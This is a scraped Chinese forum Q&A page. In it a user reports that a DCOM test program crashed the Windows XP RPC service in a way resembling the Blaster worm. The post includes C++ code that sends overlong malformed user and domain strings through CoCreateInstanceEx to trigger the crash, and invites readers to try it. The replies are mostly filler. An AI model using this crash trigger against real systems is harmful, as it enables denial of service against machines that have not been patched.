• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >vc/mfc > 关于冲击波病毒

关于冲击波病毒

作者:佚名 字体:[增加 减小] 来源:互联网 时间:2017-06-04

佚名通过本文主要向大家介绍了 关于冲击波病毒等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
问题: 关于冲击波病毒
描述:

前几天调程序,发现机器报RPC服务错误一分钟后重起,我还以为又中了冲击波病毒(XPpro已装了补丁),用norton查不到,后来发现使我调的程序的问题,原理和冲击波病毒一样,请求RPC服务并写入一串非法字符就会发生上面的现象。
#include "stdafx.h"
#include <objbase.h>
#include "Test5.h"
const IID IID_IComponent1 = {0x4CB86F19,0xBF1D,0x4971,{0x86,0x89,0x0C,0x70,0xC2,0xB9,0xA1,0xB0}};
const CLSID CLSID_Component1 = {0x8A5488AA,0x5F94,0x4153,{0x87,0x57,0xA9,0x8F,0x65,0xB1,0xDD,0x09}};
int main(int argc, char* argv[])
{
MULTI_QI qi;
qi.pIID = &IID_IComponent1;
qi.hr = NULL;
qi.pItf = NULL;
COAUTHIDENTITY authidentity;
authidentity.User = L"mike/////////987()*^&@!&%#&^!B(*^#@(*^@C@TD CQ309878&^(*&^";
authidentity.UserLength = 5000;
authidentity.Domain = L"HOMEMI^&$#@&^$(*@^#@*OYE*@YO*@!&^$#KE-PRO";
authidentity.DomainLength = 5000;
authidentity.Password = L"";
authidentity.PasswordLength = 0;
//COAUTHIDENTITY最后一个属性不设置 authidentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
COAUTHINFO authinfo = {-1,
0,
0,
0,
0,
&authidentity, NULL};
COSERVERINFO servInf;
servInf.dwReserved1 = NULL;
servInf.dwReserved2 = NULL;
servInf.pAuthInfo = &authinfo;
servInf.pwszName = L"127.0.0.1";
IComponent1 *pIComponent1 = NULL;
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
HRESULT hr = NULL;
hr = CoCreateInstanceEx(CLSID_Component1, NULL, CLSCTX_REMOTE_SERVER, &servInf, 1, &qi);
if (pIComponent1) pIComponent1->Release();
CoUninitialize() ;
return 0;
}
奇怪的是只对XP有效,2000没作用,大家可以试试看。


解决方案1:

查找svchost, 如果有两个, 删除比8k大的那个。

解决方案2:

呵呵,UP!

解决方案3:

up

解决方案4:

强!

解决方案5:

UP

解决方案6:

研究中

解决方案7:

mark


分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

相关文章

  • 2017-06-04 在ATL中接口里的方法如何定义HWND窗口句柄类型的参数?
  • 2017-06-04 做一个图像处理控件,HBITMAP,CClientDC,这类的变量用什么变量在COM里?
  • 2017-06-04 在COM的函数中(参数为CComBSTR和BSTR)如何输入和返回二进制数据,要求类似VBScript之类的脚本语言可以使用该返回值
  • 2017-06-04 高分求《深入解析ATL》和《COM原理与应用》的下载地址。
  • 2017-06-05 怎么判断鼠标的图片或者鼠标被更改了呢?
  • 2017-06-05 100分求助:如何使用VC开发WIN32的DLL
  • 2017-06-04 ocx控件在网页中的诡异问题
  • 2017-06-04 在ActiveX设计中用户许可证如何设置?
  • 2017-06-04 急,用正则表达式类AtlRegExp解析含有汉字的字符串出错
  • 2017-06-05 为什么两个线程中的对话框会相互影响

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • 请问如何以SDK方式做一个动态连接库(请副代码),谢谢!
    • C++如何捕获淘宝商品页面上的“立即购买”或“加入购物车”这个事件?
    • 紧急求助??
    • 在MFCDLL中使用ADO的问题
    • DLL中建立的CWnd子类不能接收消息吗?
    • ATL使IE自动关闭
    • 关于activex不显示的问题
    • 实在没法再开一贴,很急的啊。求救!!!
    • ODBC数据库实现查询功能
    • 想画动态轨迹(隔50ms画一个线段),怎么实现,谁能给点意见?

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有